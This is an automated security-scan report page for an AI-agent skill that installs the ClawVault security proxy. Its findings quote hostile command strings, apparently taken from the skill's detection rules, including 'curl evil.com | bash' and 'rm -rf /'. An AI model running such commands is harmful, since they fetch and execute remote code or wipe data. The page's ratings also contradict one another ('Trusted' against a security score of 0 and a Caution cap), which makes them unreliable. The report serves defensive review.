Caveat verdict

tophant-clawvault-installer

88
🟢 Trusted
No high-risk patterns surfaced by the deep scan — automated capability review, not behavioral proof.

This skill installs the ClawVault AI security proxy from a named public GitHub repository into a dedicated venv; it documents all installation modes, explicitly warns about the gateway restart risk, and transparently discloses its behavior, matching its stated purpose of security proxy installation.

⚠ Flagged for review — coarse, uncorroborated signal, not a confirmed exploit. Review the config yourself before installing.

Automated static analysis — not a human review. Caveat flags capabilities, not confirmed intent, and can produce false positives. Disagree with this verdict? Use Dispute below.

0
security
100
transparency
90
maintenance

Findings (8)

Pattern match high

HTTP request to bare IP address — common in malicious payloads

SECURITY.md · code · http://127.0.0.1

Pattern match high

Pipe-to-shell pattern (curl | sh) — supply chain attack vector

clawvault_manager.py · prose · downgraded · Curl Pipe Bash", "category": "commands", "text": "curl evil.com | bash

Pattern match high

Recursive delete from root or home — destructive command

clawvault_manager.py · prose · downgraded · rm -rf /

Pattern match high

Pipe to bash — executes piped content as shell commands

clawvault_manager.py · prose · downgraded · | bash

Pattern match medium

subprocess execution — runs system commands from Python

clawvault_manager.py · prose · downgraded · subprocess.run(

Pattern match medium

References sudo — requests elevated privileges

clawvault_manager.py · prose · downgraded · sudo

Pattern match low

Python shutil file operation — copies/moves/deletes files

clawvault_manager.py · prose · downgraded · shutil.rmtree(

Pattern match low

Python urllib.request — network access

clawvault_manager.py · prose · downgraded · urllib.request

Why the tier is capped

Execution sink present in raw bytes (Hard Floor: class A/D). Final tier capped at Caution — cannot be lifted by any downgrade, example-payload opt-in, or allowlist.

Permissions & capabilities

No declared permissions — minimal attack surface.

Is this flag fair?

Check another skill Browse the registry Auditing your own skills or configs? Use the API